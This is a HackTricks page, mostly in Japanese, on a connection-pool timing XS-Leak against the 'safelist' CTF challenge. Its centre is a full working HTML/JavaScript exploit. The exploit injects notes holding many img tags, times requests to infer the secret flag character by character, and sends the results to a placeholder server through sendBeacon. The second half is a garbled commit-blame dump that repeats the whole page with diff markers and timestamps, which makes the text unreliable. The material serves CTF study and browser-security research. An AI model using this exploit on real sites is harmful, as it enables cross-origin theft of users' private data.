hacktricks/pentesting-web/xs-search/connection-pool-by-destination-example.md

# Connection Pool by Destination Example

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

In [**this exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq)は、次のページで言及された課題に対する別の解決策を提案しています：

{% content-ref url="connection-pool-by-destination-example.md" %}
[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
{% endcontent-ref %}

このエクスプロイトがどのように機能するか見てみましょう：

* 攻撃者は、できるだけ多くの**`<img`**タグが**`/js/purify.js`**を**読み込む**ようにノートを注入します（オリジンをブロックするために6つ以上）。
* 次に、攻撃者はインデックス1の**ノート**を**削除**します。
* 次に、攻撃者は\[残りのノートで**ボットがページにアクセスする**\]ようにし、**`victim.com/js/purify.js`**に**リクエスト**を送信し、その**時間**を計測します。&#x20;
* 時間が**大きければ**、**注入**は残された**ノート**にあり、時間が**小さければ**、**フラグ**はそこにありました。

{% hint style="info" %}
正直なところ、スクリプトを読んでいると、**攻撃者がボットにページを読み込ませてimgタグをトリガーする**部分が見当たらないように思います。コードの中にそのようなものは見当たりません。
{% endhint %}
```html
<html>
<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`); //Time request
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}

add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"

let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"

let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1); //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT);
const time = await timeScript(); //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
</html>

```
{% hint style="success" %}
AWSハッキングを学び、実践する：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>HackTricksをサポートする</summary>

* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください！
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**

</details>
{% endhint %}
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:03:05 +00:00
+								# Connection Pool by Destination Example
 								{% hint style="success" %}
 								Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 								Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-												GitBook: [#3601] No subject

											
										
										
											2022-10-12 22:10:40 +00:00
 								<details>
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:03:05 +00:00
+								<summary>Support HackTricks</summary>
-												GitBook: [#3601] No subject

											
										
										
											2022-10-12 22:10:40 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:03:05 +00:00
+								* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
 								* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 								* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-												GitBook: [#3601] No subject

											
										
										
											2022-10-12 22:10:40 +00:00
 								</details>
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:03:05 +00:00
+								{% endhint %}
-												GitBook: [#3601] No subject

											
										
										
											2022-10-12 22:10:40 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:03:05 +00:00
+								In [**this exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq)は、次のページで言及された課題に対する別の解決策を提案しています：
-												GitBook: [#3601] No subject

											
										
										
											2022-10-12 22:10:40 +00:00
 								{% content-ref url="connection-pool-by-destination-example.md" %}
 								[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
 								{% endcontent-ref %}
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:03:05 +00:00
+								このエクスプロイトがどのように機能するか見てみましょう：
-												GitBook: [#3601] No subject

											
										
										
											2022-10-12 22:10:40 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:03:05 +00:00
+								* 攻撃者は、できるだけ多くの**`<img`**タグが**`/js/purify.js`**を**読み込む**ようにノートを注入します（オリジンをブロックするために6つ以上）。
 								* 次に、攻撃者はインデックス1の**ノート**を**削除**します。
 								* 次に、攻撃者は\[残りのノートで**ボットがページにアクセスする**\]ようにし、**`victim.com/js/purify.js`**に**リクエスト**を送信し、その**時間**を計測します。&#x20;
 								* 時間が**大きければ**、**注入**は残された**ノート**にあり、時間が**小さければ**、**フラグ**はそこにありました。
-												GitBook: [#3601] No subject

											
										
										
											2022-10-12 22:10:40 +00:00
 								{% hint style="info" %}
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:03:05 +00:00
+								正直なところ、スクリプトを読んでいると、**攻撃者がボットにページを読み込ませてimgタグをトリガーする**部分が見当たらないように思います。コードの中にそのようなものは見当たりません。
-												GitBook: [#3601] No subject

											
										
										
											2022-10-12 22:10:40 +00:00
+								{% endhint %}
 								```html
 								<html>
-												Translated to Japanese

											
										
										
											2023-07-07 23:42:27 +00:00
+								<head>
 								<script>
 								const SITE_URL = 'https://safelist.ctf.sekai.team/';
 								const PING_URL = 'https://myserver';
 								function timeScript(){
 								return new Promise(resolve => {
 								var x = document.createElement('script');
 								x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
 								var start = Date.now();
 								x.onerror = () => {
 								console.log(`Time: ${Date.now() - start}`); //Time request
 								resolve(Date.now() - start);
 								x.remove();
 								}
 								document.body.appendChild(x);
 								});
 								}
 								add_note = async (note) => {
 								let x = document.createElement('form')
 								x.action = SITE_URL + "create"
 								x.method = "POST"
 								x.target = "xxx"
 								let i = document.createElement("input");
 								i.type = "text"
 								i.name = "text"
 								i.value = note
 								x.appendChild(i)
 								document.body.appendChild(x)
 								x.submit()
 								}
 								remove_note = async (note_id) => {
 								let x = document.createElement('form')
 								x.action = SITE_URL+"remove"
 								x.method = "POST"
 								x.target = "_blank"
 								let i = document.createElement("input");
 								i.type = "text"
 								i.name = "index"
 								i.value = note_id
 								x.appendChild(i)
 								document.body.appendChild(x)
 								x.submit()
 								}
 								const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
 								// }zyxwvutsrqponmlkjihgfedcba_
 								const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
 								var prefix = 'SEKAI{xsleakyay';
 								const TIMEOUT = 500;
 								async function checkLetter(letter){
 								// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
 								// Depending whether we found flag's letter it will either load the images or not.
 								// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
 								const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
 								await add_note(payload);
 								await sleep(TIMEOUT);
 								await timeScript();
 								await remove_note(1); //Now, only the note with the flag or with the injection existsh
 								await sleep(TIMEOUT);
 								const time = await timeScript(); //Find out how much a request to the same origin takes
 								navigator.sendBeacon(PING_URL, [letter,time]);
 								if(time>100){
 								return 1;
 								}
 								return 0;
 								}
 								window.onload = async () => {
 								navigator.sendBeacon(PING_URL, 'start');
 								// doesnt work because we are removing flag after success.
 								// while(1){
 								for(const letter of alphabet){
 								if(await checkLetter(letter)){
 								prefix += letter;
 								navigator.sendBeacon(PING_URL, prefix);
 								break;
 								}
 								}
 								// }
 								};
 								</script>
 								</head>
 								<body>
 								</body>
-												GitBook: [#3601] No subject

											
										
										
											2022-10-12 22:10:40 +00:00
+								</html>
 								```
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:03:05 +00:00
+								{% hint style="success" %}
 								AWSハッキングを学び、実践する：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 								GCPハッキングを学び、実践する：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-												GitBook: [#3601] No subject

											
										
										
											2022-10-12 22:10:40 +00:00
+								<details>
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:03:05 +00:00
+								<summary>HackTricksをサポートする</summary>
-												GitBook: [#3601] No subject

											
										
										
											2022-10-12 22:10:40 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:03:05 +00:00
+								* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください！
 								* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
 								* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
-												GitBook: [#3601] No subject

											
										
										
											2022-10-12 22:10:40 +00:00
 								</details>
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:03:05 +00:00
+								{% endhint %}